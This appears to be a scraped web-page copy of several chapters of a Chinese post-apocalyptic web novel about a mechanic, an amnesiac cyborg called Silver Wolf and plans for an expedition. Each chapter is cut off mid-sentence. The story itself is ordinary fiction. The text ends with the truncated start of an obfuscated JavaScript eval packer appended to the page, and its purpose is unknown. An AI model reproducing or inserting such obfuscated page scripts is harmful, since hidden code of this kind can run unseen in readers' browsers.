银狼闻言,眼神冷冷地扫过李明岐,手上但凡再用点力,被他拎着检查的合金配件就能被瞬间捏爆。 林洗练不是没看见,撇了撇嘴,“算了,大佬不让我跟不说清楚话的人玩。” 在丽舍酒吧也不是百分之百没有危险,这年头,哪有纯粹的好人坏人,大家相识交往,都是藏一半露一半。 “啧,本来还想跟你谈谈找你当向导组队去野外的事呢。”李明岐试图诱惑。 林洗练只是淡淡地“哦”了一声。 “好吧好吧。”李明岐也不强求,“那我走了,这刀再有问题我可找你。” 林洗练不留他,那他可以自己去啊,九号装配店开门做生意,总不好把客人往外推吧。 于是接下来的日子,李明岐隔三岔五拎上一把武器往装配店跑,一会儿刀卷刃了,一会儿枪哑火了,再不行就电锯刃电压又不稳了,砍人的时候直漏电。 “你看看你看看,我拎着它去火拼,刚启动就给我电得原地跳了一段踢踏舞,对面还以为我在招邪给他下降头。” 林洗练翻了个白眼,她修的东西她能不知道?要是漏电她当场把桌子吃了,李明岐净在这瞎找借口。 “要我说这电锯刃你也别用了,一会儿剌手了,一会儿漏电了,怕是跟你八字不合,你赶紧找个大师念经开光超度超度,回家供着算了。” “哟,你还知道念经开光呢?”李明岐稀奇,“你信佛教?” “我薛定谔的信教,哪个灵我用哪个。” “实用主义,挺好的,城里也很多大大小小的宗教,什么感化天灾啦,肉身圣洁啦,五花八门,没一点用。” 电锯刃转了一圈又回到了九号装配店,林洗练正好继续研究。李明岐最近这两天有点忙,减少了来店里晃悠的频率,银狼周身的压迫感肉眼可见地缓解,陈不苟也松了一口气。 林洗练数着日子,盼望老板回来发工资,结果老板没盼回来,店里先来了一群不速之客。 几个地痞流氓拎着刀枪棍棒走进门,扯着嗓门喊老板在哪,陈不苟一看就知道是来闹事的,迎上前问他们干什么。 “干什么?”流氓头子的狼牙棒狠狠敲在桌子上,“知不知道这第四庇护城的卫星集市是谁的地盘?你们这店,说开就开啊?问过别人了吗?上来就抢生意,怎么那么不懂礼貌啊?” 多么熟悉的说辞,刚开业时那些来找事的人都是这番话,统统被老板揍了回去。九号装配店立住脚后就没有不长眼的再来了,不然陈一斯也不会放心扔下弟弟和店员去野外。 这群人找事的时机,似乎有些蹊跷。 流氓头子一边嚷嚷一边上手推搡,陈不苟也不废话,直接开打,林洗练扔了电击棍给他,自己也抄起一个,对着人劈头盖脸就抡。 这会儿刚巧银狼外出买菜,林洗练现在真是后悔自己这张嘴,什么鸡蛋不鸡蛋的,就不该让最强战力出去,要不然哪吃这亏? 到底流氓人多,林洗练和陈不苟双拳难敌四手。 眼瞧着流氓头子耍阴招,手里的狼牙棒就要夯在陈不苟后脑,林洗练瞳孔骤张,扑上去把人推开,自己却来不及躲,只能堪堪摆出一个防御的姿势。 电光火石之间,一个宽阔的背影挡了过来,牢牢抱住林洗练,硬生生用肩背吃下了流氓头子全力抡出的一棍。 林洗练只听见耳边一声闷闷的气音,但抱着她的人肩膀塌都没塌一下,稳如泰山。 银狼松手,把林洗练推至陈不苟身侧,接着一手一个混混拽着就往桌角撞,右手握紧的瞬间仿生皮肤隐匿,锋利的拳刺划出,狠狠挥向流氓头子的脑袋。 见了血,混混们也疯了,前赴后继地攻击银狼,人虽多,却没有配合章法,连近身都不能。 店外忽然响起越野车飘移急停的摩擦音,李明岐从车上跳下,周锐紧跟其后,两人看见店里乱遭一团都变了脸色,意识到晚了一步。 李明岐抄起修理台上被他留在这“维修”的电锯刃加入混战,流氓们认不出神龙见首不见尾的银狼,但木山杨的金牌打手还是认识的,这两人手上都是高杀伤的武器,脑热硬拼已经是不可取了。 银狼的拳刺几乎是冲着流氓头子的双目挥去,却在刀尖离他睫毛一厘米处稳稳停了下来,那一瞬劲风扇得流氓头子脸都白了,身僵手软连武器都拿不住。 “滚。” 银狼冷冷道。 剩下那几个没被打晕的流氓扯着同伴连滚带爬地逃出了九号装配店。 李明岐看着银狼手背上的拳刺收回,仿生皮肤自动复原,吹了个口哨,“装备不错啊。” 林洗练和陈不苟从柜台后跃出来,都很意外周锐和李明岐的出现,“你们怎么来了?多亏你们帮忙,谢了。” 周锐没有出手,他向来中立,不过本人到场,已经是一种偏向了。 “是我拉他来的。”李明岐邀功,“周老板向来只管自己的一亩二分地,请他出门可着实不容易。” “生意人嘛。”周锐笑笑,“明面上不好得罪人 12. 换药包扎 《捡来的战损大佬[末世]》全本免费阅读 周锐的职业操守是信得过的,倒不用担心他空手套消息。 不过宏树疗养院,林洗练还真不记得游戏背景有提过什么。 好像当初设计地图的时候就是随便立了一栋建筑,不是什么丧尸聚集地也不会刷变异BOSS,纯粹为了丰富人文景观,木山杨去那能淘什么金,偷医疗设备吗? 林洗练:“宏树疗养院在旧纪元的时候就是位于郊区,现在离主城就更远了,走大路要穿过市中心,很可能被丧尸群围困,绕开城区倒是有条小路可走,但有一定几率撞上变异生物,看你们怎么选择了。” 周锐:“什么样的变异生物?” “一种鳞翅目昆虫,感染病毒后体型暴长,进化出毒性,攻击力增强,小体型的群攻,大体型的单挑。” 李明岐花了两秒理解了一下,“就是大扑棱蛾子呗?” “倒是少见的变异生物。”周锐思忖着,“猎一些样本回来,应该能卖个好价钱。” 陈不苟觉得林洗练亏了,这么精确的消息,市场上求买的人一抓一把,她就这么不设防说了出来,还是被黑市毒打得少。 “那这大扑棱蛾子有什么弱点?什么武器攻击更有效?”李明岐问道。 这次连银狼都皱起了眉,对面已经空手套了一条变异生物的消息了,还想再问攻防策略。他危险眯了眯眼,看得周锐心头一跳。 银狼:“这是周老板买消息的规矩?” “我们把消息都说了,周老板不带我们玩怎么办。”陈不苟玩笑语气帮腔。 李明岐其实也不是故意,就是听见新的变异生物一时好奇,这会儿意识到自己话多了,坦然道歉: “抱歉,我顺口问一句,你们别介意。” 林洗练倒是不觉得有什么,换成谁要走那条路她都乐意告诉对方那里有难缠的变异生物,能救一个是一个,但要是抱着拾荒淘金的目的主动去捕猎,那就不妨碍她坐下来好好讲讲价了。 “其实除了林小姐,我们还想见一见九号装配店的老板。”周锐打圆场道,“听说也是武器方面的专家,如果能一并邀请入队,那再好不过。” “我姐?”陈不苟疑惑,“她去野外淘金了,还没回来呢,你们来得不凑巧。” 林洗练想了想,提议道:“不如等我们老板回来,大家一起吃顿饭,算是我们答谢两位今天及时救援,关于组队的事到时候再好好商量。” 一说到吃李明岐就来劲了,“那可得你亲手做,不能拿罐罐糊弄,我们救场这么及时,怎么也得值一锅带骨髓的大骨头棒子。” 看来上次银狼“精准盛饭”的仇还记着。 “放心。”林洗练略一点头,“给你做新菜式尝鲜。” “也好。”周锐也同意,刚打完架确实不是说话的好时机,他来之前也想过要请客喝酒好在餐桌上谈组队事宜,不过对比一下林洗练上次送他的土豆丝蛋饼,果断还是选择蹭吃蹭喝。 李明岐和周锐离开后,林洗练招呼陈不苟收拾店里满地狼藉。零零碎碎的东西被撞得七倒八歪,好在没有损坏什么贵重物品。 “亏得是李明岐来得及时。”林洗练把电击棍收回武器槽,随口感叹了一句。 展示柜台被流氓头子撞到了,银狼单手扶起,把重型武器重新搬上架,背对着林洗练冷不丁开口: “他不来,也有我在这里。” 说完,拎起扔在墙边的新鲜蔬菜去了后屋。 林洗练愣了一下,蓦地想起来,银狼之前是买完菜刚回家来着。 要说来及时,好像还是大佬更及时一点,再晚一秒种,林洗练这会儿大概率已经在医院了。 看人去了后屋,陈不苟探头探脑冲林洗练发出“psi——psi”的拟声: “你们俩怎么回事,这几天一直不对付,气氛怪怪的。” “没事。”林洗练抓抓头发,“之前吵架了。” “大佬话这么少你也能吵起来?”陈不苟稀奇,“不是你俩为啥吵架,不会是半夜又背着我偷吃夜宵分赃不均吧?” “得了吧。”林洗练翻了个白眼,“是为李明岐的事,你脑子里除了吃还能不能有点别的?” “为他吵还不如为宵夜呢。”陈不苟道,“我看得出来你想试探李明岐,不过到底是银狼自己的事,他要是没那么在乎失忆,也不着急找回记忆,你替他追那么紧有什么用。” “失忆的人,安全感天然就低,谨慎一些总不会错,他什么都不记得,一睁眼就是你和我,多担待点吧。” 陈不苟两句话顺通了林洗练的思路。 确实,银狼是个病人,失忆带来的陌生感总会让他觉得格格不入。林洗练想起自己刚穿越来的时候,在那荒郊野岭,安全感低得都成负数了。 她还有回忆做支撑,而银狼,记忆的时间线上前也模糊,后也荒芜,无从落脚。 这么想着还有点招人心疼,林洗练自己把自己哄好了,也不拖着,径自去后屋找人。 银狼今天在菜场买到了鸡蛋,可惜上前替林洗练挡狼牙棒的时候把袋子扔了出去,鸡蛋磕破了两个。 他将唯一一枚完好的拿出来放一边,小心掰开破损鸡蛋的外壳,笨拙地抢救里面残余的蛋液。 很漂亮的金黄色,银狼想起前几天晚上那一碗肉末蒸蛋。 林洗练这时候走了过来,帮忙处理了另一枚破损的鸡蛋,其实也没救回来多少,两枚加一块,也才堪堪覆盖住碗底。 “中午喝番茄蛋花汤吧?”林洗练开口打破沉默,“我会一种很厉害的打蛋方式,就这么一点鸡蛋液,我也可以打出一锅漂亮的鸡蛋花。” “嗯。” 银狼不知道说什么,但他有认真听。 “我看看你后背好不好?”林洗练犹豫道,“你刚才替我档了一棍,那些人打那么重,应该很疼吧。” 疼? 银狼没觉得,可能当时是疼的,现在已经不太明显了。 这种程度的疼痛,他的身体是自动忽略的。 但是…… “好。”银狼点头。 林洗练生怕他又像昨晚那样动不动就脱衣服,于是拉着人上了楼。 陈不苟的房间放着药,都是银狼强行出院的时候医生找补给开的,这些天林洗练一直按时让他换药,但她又不可能时刻跑到房间监督,也不知道银狼有没有偷懒。 银狼又是一抬手脱了上衣,林洗练先看见他背上的一大块淤青,中间星星点点深色,是狼牙棒上的铁刺击打留下的痕迹,顺着看下去,银狼腰腹上还缠着纱布,此刻竟然微微有些见红。 “这怎么……?”林洗练吓了一跳,很快反应过来。之前的伤养了那 13. 老板回来了 《捡来的战损大佬[末世]》全本免费阅读 陈一斯回到卫星集市那天,外面正在下雨。 这一趟他们的队伍收获一般,碰见了一些难缠的东西,收集到的物资都是些小玩意儿。 有个队员捡了一个毛绒大熊,最后也给拉上了车,说回去洗洗让人带给城区里的女儿玩。 这年头,玩具都是奢侈品,富人才消费得起。 陈一斯冒雨回到九号装配店,半夜三更,估计林洗练和陈不苟睡得正熟,她指纹和虹膜验证开了门,卸了包,手划过墙上的感应器。 灯亮起的那一瞬,陈一斯余光瞥见一道陌生人影,她条件反射迅速摆出防御姿态抬头,一个高大的男人无声无息站在楼梯口俯视着她。 她警惕地朝前走了两步,“谁在那?” 待看清那人的脸,陈一斯瞪大了双眼,胳膊慢慢放了下来。 “队长!?” - 九号装配店第二次形式化民主会议在今天半夜召开。 陈不苟哈欠连天,林洗练强撑着眼皮跟老板汇报了她离店以后发生的种种事情,越说越困,最后和陈不苟靠在一起形成一个了稳定相互支撑的形状睡了过去。 “等等,等等!”陈一斯心急如焚地抓头发,“木山杨组队的事等会儿再说,锋刃趁我不在又来闹事是吧,明天我就揍回去……你别光挑没用的讲,这个,这个人!”陈一斯指着银狼,“展开说说。” 陈不苟撩开一只眼皮,“野区战神啊,都说他可厉害了,姐你在集市开店这都不知道,一看就没好好做市场调研。” 陈一斯揪住陈不苟的耳朵,“我让你市场调研,给我坐好!” 这不能怪陈一斯,她才来这开店三个月,这之前一直是在第一庇护城生活的,倒是陈不苟,在第四庇护城上大学。 陈一斯看向林洗练,“你刚说人是从哪捡回来的?” “集市大门口。”林洗练打了个哈欠。 “捡到的时候还受伤了?” “对,送到第四医院救治的,发票都还在,老板你要不要看一下。” “怎么会受伤呢?”陈一斯喃喃自语。 “那不知道了。”陈不苟接话,“他失忆了,都不记得之前发生了什么。” 陈一斯面对银狼,指着自己,“你看看,对我眼熟吗?能想起来什么吗?” 银狼看着她,摇了摇头。 林洗练手指撑开眼皮看向陈一斯,“老板,你认识银狼啊?” 陈一斯叹了口气,看着银狼那双波澜不惊的眼,动了动嘴却不知道从何说起,半晌道:“这是我队长。” 林洗练之前听陈不苟提过,陈一斯早几年是在联合官方的武装部队任职的,正儿八经有编制的机械师,还经常跟着队伍去野外执行任务。 竟然和银狼是同队吗? 这些都是游戏档案中没有提过的,林洗练想破头也猜不到银狼有军方背景,看来人设信息有待补全。 “那时候,我们执行了一个比较危险的任务。”陈一斯说道,“队长为了救人,自己受了很重的伤,他因伤退役后,我们再没见过。” “怎么在哪都是受伤?”林洗练咕哝:“他这次也伤得很重,身上多处机械设备损毁,我这半瓶子晃荡的水平修不太好,就等老板你回来亲自开刀了。” 林洗练见过陈一斯的技术,各种植入和非植入设备都玩得贼溜,她本以为这次稳了,谁知道陈一斯看都不看就直接摇头,“以目前市面上有的工艺和配件,只能降级修复,想要完全复原,基本不可能。” 这话林洗练听了就跟看见扁鹊三联表情包一样——治不了,等死吧,告辞。 “不是这装备这么高端吗?”林洗练皱眉,“难怪奥分死皮赖脸都要追着过来。” 可降级修复算怎么回事,大佬本来开着奥迪来的,修一圈回去变奥迪双钻了,想想都血亏。 林洗练眉头拧得能夹蚊子,银狼胳膊碰了她一下,反过来安慰道:“没事。” “也不是没有办法。”陈一斯摸着下巴话锋一转,“我试试联系军方的人,这些东西都是东研开发的,他们肯定能修。” 东研就是雅东科学研究院,总院在第一庇护城,第四庇护城这边因为高校众多也设了重要分院。 联合官方每年大笔资金投向科研领域,东研的高精尖技术层出不穷,让人类文明有资格同末日死神赛跑。 “你还认识东研的人呢?”陈不苟挠头,“那可都是学术大佬。” 陈一斯在官方任职的时候其实与东研并没有过多接触,她只认识一个生物医学工程的教授,不过这位教授前两年因为感染病毒不幸过世,很年轻,比她也大不了几岁。 第二天陈一斯尝试联系了那位教授的学生,对方很好说话,听了两句就约了时间地点确定要来,说自己刚好在第四庇护城这边的学校合作新的人体植入项目,离得近,随时能出城。 陈一斯和林洗练下午就去庇护城大门接人,远远看见一个上身背心加冲锋衣,下身登山裤的女生冲她们招手,脚边立着两大箱装备。 “介绍一下。”陈一斯伸手在两人之间划拉个圈,“这位是东研的研究员,丁瀛博士,丁博士,这位是我店里的首席员工。” 首席,等于没钱招不起人所以有且仅有一个。 “别叫博士啦,都还没毕业呢。”丁瀛笑笑,同林洗练友好握手,“直接喊我名字就好。” 接到人,陈一斯一路飞驰回了装配店,当天下午就同丁瀛一起动手干活。 林洗练和陈不苟在一旁看着,前者边学边记恨不得两只眼分开用,后者就只顾着看,间歇性感慨两句“哇,好高级”。 丁瀛带来的设备比装配店里这些前沿太多,她甚至还带了便携式小型核反应堆,给银狼的臂枪充能。 能源激活,武器设备似有生命一般从缝隙里发出微光,亮过银狼整条机械化改造后的手臂。 “这是比你们修的设备高端多了。”陈不苟呆呆道:“植入型热兵器就很顶配了,这好像比热兵器……还要更热一点。” 林洗练笔记记得飞起,没工夫吐槽他的词穷。 陈一斯这会儿腾出了空,取下防护镜和手套,吐了口气,“集市上那些机械化改造跟正儿八经的军事科技比就是小打小闹,我们当年面对的可是高污染的变异畸体,和一望无际的尸潮,没点黑科技怎么敢硬拼?” “变异生物,野外不是也有吗?”陈不苟傻乎乎道。 “那些东西的变异程度才哪到哪。”陈一斯摇头。 “能接近人类聚集地的,都是威胁性较小的东西,高杀伤的玩意儿早在选址勘探期就被联合官方派出的先遣卫队清理完了,不然庇护城是怎么建起来的?” 陈不苟:“也是哦。” “现在的拾荒淘金,那些队伍才走出去多少公里?”陈一斯越说越起劲,“都是在周边翻翻垃圾。” “那你们这次走出去多远?有翻到什么值钱的垃圾吗?” 如果不是陈不苟语气的确天真无邪,林洗练都要怀疑他胆子肥了非得跟老板抬杠。 “这么高端的设备,退役的时候就随便带走的吗?”林洗练接过话茬,“现在出入庇护城都要过安检,银狼身上的装备这么稀罕,军方都不回收的吗?” 出于安全考虑,雅东地区联合官方规定,庇护城内不允许攻击性机械植入设备的存在,与其相关的手术或改造均属违法。 但城外的机械改造不在管控范围,庇护城入口设有扫描检测装置,入城者需要接受严格盘查。 “人在城外不就行了。”陈一斯耸肩,“队长退役后没想留在庇护城内,找找门路就能省了装备拆除的流程,他身上的东西比较特殊,有的装置只能适配他自己,官方就是回收了也很难给其他人使用,不如让他带走去野外打怪。” 丁瀛修了一周终于完工,这些天她往返城里城外,工具能源换了一批又一批,大功告成后扶着老腰,感叹自己的老师属实牛逼。 “教授太厉害了,能把这么多高精装置植在 14. 机械篡改体 《捡来的战损大佬[末世]》全本免费阅读 “呜呼!”丁瀛最兴奋,迫不及待伸出筷子。 她一早就看上了蒸饺,粉嫩的肉馅和金黄的玉米在水晶皮里若隐若现,光是配色就好看的不得了,咬一口下去,外皮劲道,馅料丰满,玉米的清甜和着肉香,从口感到味道都无可挑剔。 陈不苟倒是更喜欢鸡蛋野菜馅的,透水的翡翠色看起来莫名昂贵。林洗练舍得放油,野菜处理得没有一丝土腥味儿,和金灿灿的鸡蛋碎一起裹入晶莹的饺子皮内,陈不苟逐渐理解为什么旧纪元将食物加工的成品称为“美食”。 “我之前跟着教授做项目的时候,也被邀请去过那种顶级餐厅。”丁瀛道:“超级贵,食材都是私人农场垂直供应的,现做现吃,每道菜就手指头那么点,摆得那么好看,味道可比这差远了。” “谁说不是呢。”陈不苟边吃边接话,“那种餐厅是比预制菜有趣一点,但感觉光做艺术了,少了吃饭的意思。” 哪比得上林洗练做的饭呀,好看,好吃,还能像吃罐罐那样大口吃。 听这意思陈不苟也去过顶级餐厅,那地方消费可不低,林洗练再次感叹他读书没把陈一斯读破产真是不容易。 陈一斯早就懒得说陈不苟花钱不知数的坏毛病了,她现在一心跟煎丸子培养感情,第一次知道猪肉可以这么好吃。 她这次跟队去野外也打了几次猎,外面条件简陋,大家都是草草处理了直接水煮或者火烤,随便放点调料,估摸着差不多熟了就开啃。 这么多年在野外都是这么过来的,尤其任务艰巨的时候,执行期限一拖长,队伍携带的食物耗尽后,每一顿饭都是煎熬,被她亲切地称为“茹毛饮血”餐。 “真应该把你举荐给军方。”陈一斯感叹,“开个班,培训一批厨师,每个队伍都配一个。” 林洗练:“就是炊事员呗。” “炊事员你也知道。”李明岐看过来,“旧纪元军队里的兵种,不过那都是很早很早的事情了。” 李明岐还是在学校上军事历史课的时候学到的,林洗练不愧是励志做向导的人,知识学那么杂。 林洗练有些恍惚,连炊事员都成了古早传闻,看来以营养罐罐为主的饮食体系已经称霸人类社会很长一段时间了。 大概在饥荒、辐射、病毒之前,这个世界就已经遗失掉了许多东西。 笨的人还在聊天,聪明人已经第二碗了。银狼和周锐不亏是两个游戏策划钦点的NPC,心眼子就是比旁人多,几句话的功夫,南瓜焗玉米已经下了一半了。 周锐其实是很喜欢甜食的,平常给自己调杯饮料,糖浆都要放双倍,这道南瓜焗玉米实在合他胃口,颜色温暖,口味香甜,如果有类似的预制菜,他怕是要囤一箱在酒吧放着。 但很可惜,市面上的预制菜味道都差不多,纵是形状做的五花八门,也都是糖精调出的甜味,合成物调出的水果香。 丁瀛饭量不大,一边遗憾着自己吃不下了,一边和陈一斯聊天,她大概真的对野外好奇,这些天忙着修装备也没能好好问问,这会儿迫不及待让陈一斯讲讲“淘金”体验。 “这一趟真是没淘道什么好东西。”陈一斯无奈,“好在人都安安稳稳回来了,你们不知道,我们这次是朝着镇平庄的方向去的,当时打听的消息,旧纪元的时候那一片是城中村,破是破了点,但据说物资不少,谁知道我们刚到地方,就晚上停车扎寨的时候,遇见了两个……怪物。” 十二号那天晚上,陈一斯所在的小队刚进镇平庄,他们找了一块空旷平坦的地方停车,扎了电击围栏休息,准备第二天去“扫楼”。 谁知道半夜时分,守夜的队员忽然看见不远处走过来一个高大壮硕的影子,他操控无人机飞近了些去看,昏暗的画面显示,那不是一个人,而是一个浑身血腥的人,拖着一具支离破碎的尸体。 “说尸体可能不太准确,被拖着的那个人还有动静,时不时抽搐两下,他浑身烂得像一坨被揉在一起的碎肉,已经覆盖不住体内植入的战斗设备,就像是……和钢筋铁块混乱地生长在了一起。” 听到这里周锐神情忽然严肃,李明岐也正色,问陈一斯拖着“尸体”的那个人呢? “那个人也浑身是伤,不过比‘尸体’的情况好多了,至少还能走路。” “他应该是进行了过分的机械化改造,右手臂装了蝎尾型弹射飞刃,左手替换成了一些变形组件,似乎被破坏掉了,看不出最终形态是什么,背后加装的重炮也碎了一半,修起来估计要费不少功夫。” 这还只是陈一斯借着月色勉强能看到的,那些看不见的地方,只怕改造得更多。 当时队员们一致认为这两个人是被变异生物感染了,不然那一堆蠕动的肉块实在不知道作何解释。 他们也没有主动攻击,一来怕动静太大引来附近的丧尸或者变异生物,二来,那两个人也没有什么攻击价值。 李明岐陷入沉默,和周锐对视了一眼,后者顿了顿,重新提起了木山杨要去宏树疗养院的计划。 “说实话,木山杨这次去野外并不为淘金,而是得到消息,第四庇护城附近出现了一些暴改过的机械体,这些人残酷异常,造成好几起拾荒队伍伤亡事件。” “我调查了不少幸存者,根据他们描述的路线和情况,将目标锁定在了宏树疗养院,那里很有可能是一个聚集点,或者老巢。” “莫非是……机械篡改体?”丁瀛忽然出声。 李明岐点头,“是,官方的人这么称呼,现在各个地区各大企业多的是研究机械改造的,有些人的设计和思路真是邪了门,什么组件模块都敢往身上装,最后出来的机械改造者往往精神也不太正常,失去同理心,变得暴戾疯癫。” “我也只是之前和罗西那边的课题小组交流时候听说过。”丁瀛道:“雅东没有过分机械改造的例子,相关名词还是海北地区传过来的,直译为‘机械篡改体’。” 雅东、罗西、海北,末世下人类聚集的三大区域,哪一方都在拼了命革新技术垒造攻防,毕竟谁也不知道天灾什么时候才肯放过人类。 “这次行动,木山杨一定程度上算是跟官方合作。”周锐继续道,“我们是诚心邀请陈老板和林小姐,所以也把利害提前说清楚。” “某些机械篡改体或许比变异生物还可怕,就好比你们小队碰到的那个人,即便他身受重伤,可真要起了冲突,或许也会给你们的队伍带来不小损失。” “怎么样,小姑娘。”周锐诚恳道,“现在还想给我们当向导吗?” 李明岐觉得林洗练大概率会退缩,她是机械师,没有人比她更清楚一个经过暴改的机械体有多么危险。 不过此时此刻林洗练脑子里想的倒不是这个,而是陈一斯说他们队伍十二号遇到了怪物,十二号,那不正是她在集市大门口捡到银狼的日子? 这么巧吗? 饭桌上安静了片刻,陈一斯率先开了口,出乎周锐意料的,很干脆地答应了下来。 “如果你们真的是去宏 15. 教官好 接下来的日子林洗练受到了全方位的鞭策。 银狼怎么训陈不苟的她不知道,只知道李明岐是铁了心把她往死里折磨,日渐加重的体能训练让她每天回到房间倒头就睡,然后第二天一早再被李明岐敲房门吵醒。 “你的爆发力得练啊,短跑成绩太差,耐力倒是不错,但在野外遇到攻击,开头跑不掉你后面能跑再远又有什么用,来来来,五十米操练起来!” 于是那两天陈不苟一边被银狼盯着举铁,一边看林洗练在卫星集市风驰电掣。 李明岐就骑着店里的摩托慢慢悠悠跟着她,手里掐一块秒表。 “哟,早上好,离菜场大约还有五十米,预备,跑!” “这么巧你也准备回去啊,离装配店大约还有五十米,预备,跑!” “训练真辛苦,请你喝一杯吧,离丽舍酒吧还有五十米,预备,跑!” “你要去接丁瀛啊,来来,离还有庇护城大门还有……嗯,有点远,你还是开车去吧,早点回来啊,下午射击训练。” …… 后来林洗练一见李明岐,下意识就想跑。 木山杨据点内有专门的训练室,林洗练和陈不苟隔三岔五就被拎过去玩花样,这次是实战训练,李明岐吹着哨子让两人集中精力。 林洗练现在感觉自己就是盘古开天辟前的混沌本混,整个人都晕晕乎乎的。 陈不苟也歪歪斜斜站着,举手投降,“我能……申请个假期吗?” 李明岐:“队伍下周就出发了,坚持就是胜利,来来来没多少时间了。” 林洗练:“再这样练下去,我俩的时间也不多了。” 死皮赖脸从两个铁血教官手里抠出来半小时休息时间,陈不苟和林洗练直接表演一个原地瘫痪。 天花板上的灯光在林洗练眼里打着旋落下来,恍惚间她看见银狼骨骼分明的手拧着矿泉水的瓶盖,塑料摩擦的声音在通风系统轻微的嗡鸣中分外明显。 “补充水分。”银狼把水递给两人。 果然,当的了NPC的人能坏到哪去。 林洗练转头控诉李明岐:“有没有人说过你训练别人的时候简直是魔鬼。” “没有。”李明岐吊儿郎当,“我没有训练过别人,你是第一个。” “不能吧。”林洗练不信,“你不是国防学院的吗?在学校就没带过什么学弟学妹之类的?” “我每天特殊训练都排不完,哪有空去训别人。” 李明岐倒是听过和他同级的学生分到不同院校去带军训,不过这种事情轮不到他,他入校就是一级组别,相当于官方武装旗下一级重防队的后备兵员,每天不是训练就是实战,忙得很。 “你得此殊荣,就好好珍惜吧。”李明岐得瑟。 林洗练“噫”了一声。 “他们两个都累,下一场实战不如改为观战。”银狼忽然开口。 躺在地上的陈不苟一秒竖起小熊耳朵,好奇今天自己的教练怎么这么善解人意。 李明岐转过头,不甚明显挑了下眉,“观谁?你和我?” 银狼点头。 “行啊。”李明岐来了兴趣,歪了下脖子活动手腕,“正好我也好奇,野区战神到底是个什么水平。” 银狼:“不用装备,纯格斗。” “得嘞。”李明岐回头冲林洗练比了个手势,“乖徒弟,认真看着点,别让你师父白挨揍。” ……有较清醒的自我认知。 这俩人一言不合就开打,给陈不苟吓得一个鲤鱼打挺出溜到旁边,生怕自己被踹着。 林洗练看得眼花缭乱,入耳全是破风声和击打音,别说注意观察了,她连拍手称好的机会都没有。 银狼游刃有余地跟李明岐对打,旁人或许难以察觉,李明岐却真切感到这人是收着力道逼迫他不停换打法,一直到把他的身法招式都看尽了,才忽然一个后撤,右腿干脆利落断了他下路,侧身肘击袭向他命门。 李明岐倒地败落,咧开嘴举手投降,“我招你惹你了?这么狠。” 银狼收了动作,目光扫过李明岐,冲他伸出一只手。 一旁看傻了的林洗练终于想起来鼓掌,陈不苟也一副与有荣焉的样子:“教练,我想学这个!” 李明岐一边说着林洗练没良心,一边漫不经心地搭上面前那只手,电光火石间忽然发力,将放松警惕的银狼狠狠带倒,翻身单手掐上他的喉咙。 “打平了。” 林洗练又看傻了,眨了眨眼,“不是,你这不是玩赖吗。” “如果能保命,耍赖又怎么样。”李明岐亲身传授腹黑小贴士,“旧纪元的老话怎么说来着?兵不厌诈,你要学会欺骗敌人。” “再说了,就你这半吊子水平,银狼那一套短时间内能学会吗?先速成一些歪门邪道应应急吧,多活一秒是一秒。” 这天训练到很晚,木山杨老大钟情留他们一起吃饭,李明岐大大咧咧喊她“钟姐”,底下的人规规矩矩叫钟老板,眼见是个沉稳可靠的领头人形象。 木山杨估计效益不错,储藏室里都是高级罐罐,林洗练看着准备晚饭的小伙子一口气开了十来个,duang一个duang一个倒进容器里,又添了好几份加热好的预制肉汤包,按压器咣咣咣搅匀,出锅,装盘。 “最近帮派里很多人喜欢这样吃。”钟情道:“预制肉汤是从城区里购买的,带出来还真费了不少麻烦,你们也尝尝,据说是很受欢迎的新品牌。” 林洗练沉默地看着面前的晚餐,确实很香,看起来像浇了肉汁的土豆泥,但刚才那一幕,她总幻视猫舍为猫猫们准备罐头。 今晚周锐也在,最近他和陈一斯在忙着打听更多关于机械篡改体和宏树疗养院的消息,钟情已经决定按林洗练说的,绕开城区走小路,至于可能会遇上的鳞翅目变异昆虫,林洗练也给出了解决方案。 “喷火枪,□□,这些东西多准备一些,那些巨型飞蛾的翅膀骇人,但恰恰也是弱点,烧毁后失去飞翔能力,可比在天上扑棱着好对付多了。” 武器方面木山杨的人已经去准备了,林洗练没进过他们的地下武器库,但按李明岐随手指的面积来看,一定囤了不少好东西。 周锐:“关于疗养院的信息,我们打听到一些传闻,上了岁数的人说那里闹鬼,不过都是四五十年前的说法了。” 病毒爆发后的世界每天都有超出人类观念的新物种诞生,鬼神?人类已经没有想象力再去描绘它们。 陈一斯:“常规一点的说那地方以前是个乱葬岗,被大公司买下后建了宏树疗养院,但是医院经常闹鬼,有人半夜听到哭喊尖叫声,还有人看到红影在走廊飘之类的。” 林洗练:“那不常规的呢?” 周锐:“疗养院周围经常看到死婴,传闻说有流浪汉在那蹲守,捡走煮了吃。” 李明岐:“这个传闻是不是离谱了点。” 钟情:“那个贫富差距悬殊的年代,大城市里也会有活活饿死的人。” 当然了,现在也有。 陈一斯:“还有一件真人真事,当年医院里有个病人忽然发疯,屠杀了一整层楼的人,最后还放火,烧死了很多人。” “那不就是凶宅吗?”李明岐接话,“旧纪元的老电影都演过,像我们这样明知有问题还要组团去的,那都是主角。” 钟情笑他,“怎么,你在野外连变异猎犬都敢打,害怕这些陈年怪谈?” “变异猎犬有实体啊。”李明岐吊儿郎当,“这些鬼啊魂啊的也没个存在,拿捏不住。” “哦对了。”周锐补充,“查机械篡改体的时候,还发现了一件奇怪的事。” “虽然还没有完全搞清楚,但可以肯定的是,应该不止奥分在找银狼,还有一股势力也在查‘大脑被改造,满身精密装备的人’。” 林洗练愣了一下,看向银狼,寻思追他的人还挺多。 所以这时候去野外,对银狼来说是一个不错的选择,远离卫星集市上明里暗里的追踪,至少给周锐争取一点时间,让他查清楚到底怎么回事。 队伍出发的前两天,林洗练和陈不苟正式从魔鬼教官手中毕业。 丁瀛兴冲冲地说这得吃顿好的庆祝一下,自告奋勇要去买菜,结果转一圈大失所望,菜场上就没有几个出摊的。 “实在不行,咱们自己抓点呗。”陈一斯提议,她也想临行前吃顿好的,大概是从前出任务的后遗症,每次都害怕罐罐提前消耗完,只能原地返祖吃“茹毛饮血”餐。 “也不走远,集市出去往西不是有条小河吗?运气好的话,说不定能抓到鱼。” 这主意不错,店里一群人闹热热闹闹都去了,路上银狼随手掰了一截长树枝,用拳刺的锋刃一下一下削着。 林洗练看这阵仗就明白了,“你要叉鱼啊?” 银狼没否认,只是道:“想吃什么鱼?” “这还能挑呢?”林洗练笑道,“不得看运气能抓到什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 